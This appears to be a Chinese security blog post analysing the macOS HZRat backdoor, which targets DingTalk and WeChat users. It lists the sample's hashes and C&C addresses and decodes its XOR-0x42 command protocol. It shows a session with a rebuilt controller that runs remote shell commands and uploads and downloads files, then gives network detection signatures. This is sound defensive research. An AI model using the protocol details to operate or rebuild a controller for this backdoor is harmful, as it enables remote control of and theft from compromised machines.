macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

文章首发地址:
https://xz.aliyun.com/t/15475
文章首发作者:
T0daySeeker

概述

近期,卡巴斯基于2024年8月27日曝光了一篇《HZ Rat backdoor for macOS attacks users of China’s DingTalk and WeChat》报告,报告主要描述了攻击团伙使用macOS版本的HZRat后门向国内人员发起攻击,卡巴斯基通过捕获的shell命令内容,发现攻击者试图从受害者的微信、钉钉软件中获取受害者的个人信息(电子邮件、电话号码、单位、部门、公司等)。

基于技术研究的目的,笔者尝试获取了HZRat后门样本,并从多个角度对HZRat后门进行了详细剖析:

  • 样本分析:结合逆向分析及动态调试,对macOS版本的HZRat后门进行了详细的剖析;
  • 攻击场景复现:尝试模拟构建了macOS版本HZRat后门的控制端Demo程序,完整复现了攻击者的攻击场景;
  • 通信模型剖析:基于攻击场景复现过程中捕获的网络流量,对macOS版本HZRat后门的通信模型进行了详细的剖析;
  • 检测方法:基于样本分析及通信模型剖析,提取了针对macOS版本HZRat后门网络侧的通信特征及检测方法;

攻击场景复现

为了能够更好的还原HZRat后门的攻击利用场景,笔者尝试模拟构建了macOS版本HZRat后门的控制端Demo程序,目前可有效的与HZRat后门进行交互,相关运行效果如下:

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

相关通信数据包截图如下:

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

相关操作流程如下:

C:UsersadminGolandProjectsawesomeProject>awesomeProject.exe
Server started. Listening on 0.0.0.0:8081
请选择需执行的功能:exithelp、execute_cmdline、write_file、download_file、ping
>help
********支持功能如下********
execute_cmdline:执行shell命令
write_file:上传文件
download_file:下载文件
ping:探测被控主机是否存活
**************************
请选择需执行的功能:exithelp、execute_cmdline、write_file、download_file、ping
>execute_cmdline
execute_cmdline指令-请输入需执行的命令:quit-返回上层指令
>ifconfig
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
        options=1203<RXCSUM,TXCSUM,TXSTATUS,SW_TIMESTAMP>
        inet 127.0.0.1 netmask 0xff000000
        inet6 ::1 prefixlen 128
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1
        nd6 options=201<PERFORMNUD,DAD>
gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
stf0: flags=0<> mtu 1280
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        options=424<VLAN_MTU,TSO4,CHANNEL_IO>
        ether 00:0c:29:1c:34:f0
        inet6 fe80::b:5029:35ad:5565%en0 prefixlen 64 secured scopeid 0x4
        inet 192.168.116.128 netmask 0xffffff00 broadcast 192.168.116.255
        nd6 options=201<PERFORMNUD,DAD>
        media: autoselect (10Gbase-T <full-duplex>)
        status: active
utun0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1380
        inet6 fe80::dd28:2340:c6c:1463%utun0 prefixlen 64 scopeid 0x5
        nd6 options=201<PERFORMNUD,DAD>
utun1: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 2000
        inet6 fe80::90c9:7684:460b:86ec%utun1 prefixlen 64 scopeid 0x6
        nd6 options=201<PERFORMNUD,DAD>
utun2: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1000
        inet6 fe80::ce81:b1c:bd2c:69e%utun2 prefixlen 64 scopeid 0x7
        nd6 options=201<PERFORMNUD,DAD>

execute_cmdline指令-请输入需执行的命令:quit-返回上层指令
>pwd
/Users/ad/Desktop

execute_cmdline指令-请输入需执行的命令:quit-返回上层指令
>quit
请选择需执行的功能:exithelp、execute_cmdline、write_file、download_file、ping
>write_file
write_file指令-请输入待上传的文件路径:quit-返回上层指令
>C:UsersadminDesktoptest.txt
OK
请选择需执行的功能:exithelp、execute_cmdline、write_file、download_file、ping
>download_file
download_file指令-请输入待下载的文件路径:quit-返回上层指令
>/Users/ad/Desktop/test.rtf
请选择需执行的功能:exithelp、execute_cmdline、write_file、download_file、ping
>ping
ping OK!
请选择需执行的功能:exithelp、execute_cmdline、write_file、download_file、ping
>exit

C:UsersadminGolandProjectsawesomeProject>

样本分析

文件名称:d9b0fcd3b20a82b97b4c74deebc7a2abb8fd771eaa12aaf66bdd5cdeaa30f706
文件大小:57832 字节
MD5     :0C3201D0743C63075B18023BB8071E73
SHA1    :0FFC73EA4FD20CC8D293EAE67D0A2C51C76A797B
CRC32   :7EC98FEE

内置C&C地址

通过分析,发现样本中内置了多个外链IP及端口,外链信息如下:

  • 2F6441B6:47.100.65.182
  • 1F91:8081
  • 0A09F1EB:10.9.241.235
  • 1F91:8081

相关截图如下:

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

外链上线

通过分析,发现样本运行后,将循环外链内置C&C地址,若连接成功,则将发送5字节随机数据用于上线请求,当C&C地址接收上线指令后,则将下发远控指令用于远程控制。

相关代码截图如下:

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

上线通信

通过分析,发现此样本运行后,将调用send函数向C&C发送三段数据:

  • 4字节上线校验数据:用于校验此通信是否为HZRat后门的上线数据
  • 5字节载荷头数据:第一字节为响应指令编号0x02,第二至第五字节为后续载荷数据大小0x00000001
  • 1字节载荷数据:载荷数据为0x01

相关代码截图如下:

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

通信加密算法

通过分析,发现样本在通信过程中,将使用xor 0x42作为通信数据加密算法。

相关代码截图如下:

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

接收远控指令

通过分析,发现样本将按照如下方式接收远控指令:

  • 接收5字节通信数据:第一字节为远控指令,第二至第五字节为后续载荷数据大小;
  • 接收指定大小通信数据:远控命令数据

相关代码截图如下:

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

远控指令

通过分析,梳理此样本的远控指令如下:

远控指令 对应函数 描述信息
3,8,9 execute_cmdline 执行shell命令
4 write_file 上传文件
5 download_file 下载文件
11 ping 探测被控主机是否存活

相关代码截图如下:

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

执行shell命令

通过分析,发现此样本接收对应远控指令后,将调用popen函数执行shell命令。

相关代码截图如下:

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

上传文件

通过分析,发现此样本接收对应远控指令后,将调用fwrite函数上传文件。

相关代码截图如下:

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

下载文件

通过分析,发现此样本接收对应远控指令后,将调用fread函数循环读取文件内容,用以下载指定文件。

相关代码截图如下:

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

通信模型剖析

基于模拟构建的macOS版本HZRat后门的控制端Demo程序,笔者完整复现了macOS版本HZRat后门的攻击利用场景,基于攻击利用场景中捕获的网络通信流量,笔者对macOS版本HZRat后门的通信模型进行了详细剖析梳理。

上线校验

梳理此样本的上线校验过程,发现上线通信数据分为三段:

  • 4字节上线校验数据:随机数据,后两字节异或0x69a5等于前两字节值
  • 5字节载荷头数据:第一字节为响应指令编号,固定值为0x02;第二至第五字节为后续载荷数据大小,固定值为0x00000001
  • 1字节载荷数据:载荷数据,固定值为0x01

通信模型剖析如下:

#原始通信数据
de4ab7ef404242424343

#数据解析
de4ab7ef  #上线校验数据 0xde4a = 0xb7ef xor 0x69a5
404242424343 #加密数据

#xor 0x42解密
020000000101

#数据解析
02    #响应指令
00000001  #后续载荷长度
01    #载荷数据

执行shell命令

通过分析,梳理执行shell命令的远控指令及响应数据的通信模型如下:

  • 执行shell命令的指令数据通信模型
#原始数据
414242424a2b24212d2c242b25

#xor 0x42解密
03000000086966636F6E666967

#数据解析
03     #远控指令编号
00000008   #后续载荷长度
6966636F6E666967 #载荷数据=ifconfig

#载荷数据字符串
ifconfig
  • 执行shell命令的响应数据通信模型
#原始数据
43424246cf424246cb2e2d727862242e2325317f7a72767b7e17126e0e0d0d12000301096e1...省略中间字节数据...0040d100f0c17066e0603067c48

#xor 0x42解密
010000048D000004896C6F303A20666C6167733D383034393C55502C4C4F4F504241434B2C5...省略中间字节数据...F524D4E55442C4441443E0A

#数据解析
01    #响应指令
0000048D  #后续载荷长度
#后续载荷
000004896C6F303A20666C6167733D383034393C55502C4C4F4F504241434B2C52554E4E494E...省略中间字节数据...464F524D4E55442C4441443E0A

#数据解析2
00000489  #实际载荷长度
#实际载荷
6C6F303A20666C6167733D383034393C55502C4C4F4F504241434B2C52554E4E494E...省略中间字节数据...464F524D4E55442C4441443E0A

#实际载荷字符串
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
 options=1203<RXCSUM,TXCSUM,TXSTATUS,SW_TIMESTAMP>
 inet 127.0.0.1 netmask 0xff000000 
 inet6 ::1 prefixlen 128 
 inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1 
 nd6 options=201<PERFORMNUD,DAD>
gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
stf0: flags=0<> mtu 1280
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
 options=424<VLAN_MTU,TSO4,CHANNEL_IO>
 ether 00:0c:29:1c:34:f0 
 inet6 fe80::b:5029:35ad:5565%en0 prefixlen 64 secured scopeid 0x4 
 inet 192.168.116.128 netmask 0xffffff00 broadcast 192.168.116.255
 nd6 options=201<PERFORMNUD,DAD>
 media: autoselect (10Gbase-T <full-duplex>)
 status: active
utun0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1380
 inet6 fe80::dd28:2340:c6c:1463%utun0 prefixlen 64 scopeid 0x5 
 nd6 options=201<PERFORMNUD,DAD>
utun1: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 2000
 inet6 fe80::90c9:7684:460b:86ec%utun1 prefixlen 64 scopeid 0x6 
 nd6 options=201<PERFORMNUD,DAD>
utun2: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1000
 inet6 fe80::ce81:b1c:bd2c:69e%utun2 prefixlen 64 scopeid 0x7 
 nd6 options=201<PERFORMNUD,DAD>

上传文件

通过分析,梳理上传文件的远控指令及响应数据的通信模型如下:

  • 上传文件的指令数据通信模型
#原始数据
46424242e24a424242362731366c363a36d24242422a272e2e2d35302d2e264f482a272e2e2d35302d2e264f482a272e2e2d35302d2e264f482a272e2e2d35302d2e264f482a272e2e2d35302d2e264f482a272e2e2d35302d2e264f482a272e2e2d35302d2e264f482a272e2e2d35302d2e264f482a272e2e2d35302d2e264f482a272e2e2d35302d2e264f482a272e2e2d35302d2e264f482a272e2e2d35302d2e264f48

#xor 0x42解密
04000000A008000000746573742E7478749000000068656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A

#数据解析
04     #远控指令编号
000000A0   #后续载荷长度
08000000   #后续载荷第一段数据大小
746573742E747874 #后续载荷第一段数据,对应字符串为:test.txt
90000000   #后续载荷第二段数据大小
#后续载荷第二段数据
68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A68656C6C6F77726F6C640D0A

#后续载荷第二段数据字符串
hellowrold
hellowrold
hellowrold
hellowrold
hellowrold
hellowrold
hellowrold
hellowrold
hellowrold
hellowrold
hellowrold
hellowrold
  • 上传文件的响应数据通信模型
#原始数据
4342424244424242400d09

#xor 0x42解密
0100000006000000024F4B

#数据解析
01    #响应指令
00000006  #后续载荷长度
000000024F4B #后续载荷

#数据解析2
00000002  #实际载荷长度
4F4B   #实际载荷:OK

下载文件

通过分析,梳理下载文件的远控指令及响应数据的通信模型如下:

  • 下载文件的指令数据通信模型
#原始载荷
47424242586d17312730316d23266d06273129362d326d362731366c303624

#xor 0x42解密
050000001A2F55736572732F61642F4465736B746F702F746573742E727466

#数据解析
05   #远控指令编号
0000001A #后续载荷长度
#后续载荷:/Users/ad/Desktop/test.rtf
2F55736572732F61642F4465736B746F702F746573742E727466
  • 下载文件的响应数据通信模型
#原始数据
43424240f0424240ec391e303624731e232c312b1e232c312b2132257b71741e212d212d2330...省略中间字节数据...26292e3125242826292e2b313f

#xor 0x42解密
01000002B2000002AE7B5C727466315C616E73695C616E73696370673933365C636F636F6172...省略中间字节数据...6A646B6C7367666A646B6C69737D

#数据解析
01    #响应指令
000002B2  #后续载荷长度
#后续载荷
000002AE7B5C727466315C616E73695C616E73696370673933365C636F636F61727466323730390A5C63...省略中间字节数据...B6C7367666A646B6C69737D

#数据解析2
000002AE  #实际载荷长度
#实际载荷
7B5C727466315C616E73695C616E73696370673933365C636F636F61727466323730390A5C63...省略中间字节数据...B6C7367666A646B6C69737D

#实际载荷字符串-rtf文件内容
{rtf1ansiansicpg936cocoartf2709
cocoatextscaling0cocoaplatform0{fonttblf0fswissfcharset0 Helvetica;}
{colortbl;red255green255blue255;}
{*expandedcolortbl;;}
paperw11900paperh16840margl1440margr1440vieww11520viewh8400viewkind0
pardtx720tx1440tx2160tx2880tx3600tx4320tx5040tx5760tx6480tx7200tx7920tx8640pardirnaturalpartightenfactor0

f0fs24 cf0 JdklsfjahfkajdklsgfjdklisJdklsfjahfkajdklsgfjdklisJdklsfjahfkajdklsgfjdklisJdklsfjahfkajdklsgfjdklisJdklsfjahfkajdklsgfjdklisJdklsfjahfkajdklsgfjdklisJdklsfjahfkajdklsgfjdklisJdklsfjahfkajdklsgfjdklisJdklsfjahfkajdklsgfjdklisJdklsfjahfkajdklsgfjdklisJdklsfjahfkajdklsgfjdklisJdklsfjahfkajdklsgfjdklis}

探测被控主机是否存活

通过分析,梳理探测被控主机是否存活的远控指令及响应数据的通信模型如下:

  • 探测被控主机是否存活的指令数据通信模型
#原始载荷
494242424343

#xor 0x42解密
0B0000000101

#数据解析
0B   #远控指令编号
00000001 #后续载荷长度,随机填写
01   #后续载荷,随机填写
  • 探测被控主机是否存活的响应数据通信模型
#原始数据
434242424a4242424642424242

#xor 0x42解密
01000000080000000400000000

#数据解析
01    #响应指令
00000008  #后续载荷长度
0000000400000000#后续载荷

#数据解析2
00000004  #实际载荷长度
00000000  #实际载荷

检测方法

通过分析,梳理网络流量检测方法如下:

  • 通信会话的第一段通信数据为固定长度:10字节
  • 上线校验载荷(通信会话的第一段通信数据的前4个字节)为随机数据,可通过运算校验是否为HZRAT后门的上线通信
    • 校验算法:后两字节异或0x69a5等于前两字节值
  • 通信会话的第一段通信数据的后6字节为固定值
    • 加密数据为:40 42 42 42 43 43
  • 由于样本使用0x42作为通信加密算法,因此通信会话中
    • 除第一段通信数据外的其他远控指令通信数据是以414242、4A4242、4B4242、464242、474242、494242字节数据开头的
    • 远控指令响应数据是以434242字节数据开头的

相关截图如下:

macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法


原文始发于微信公众号(T0daySeeker):macOS后门,以中国钉钉和微信用户为目标的HZRat后门攻击场景复现及木马检测方法

相关文章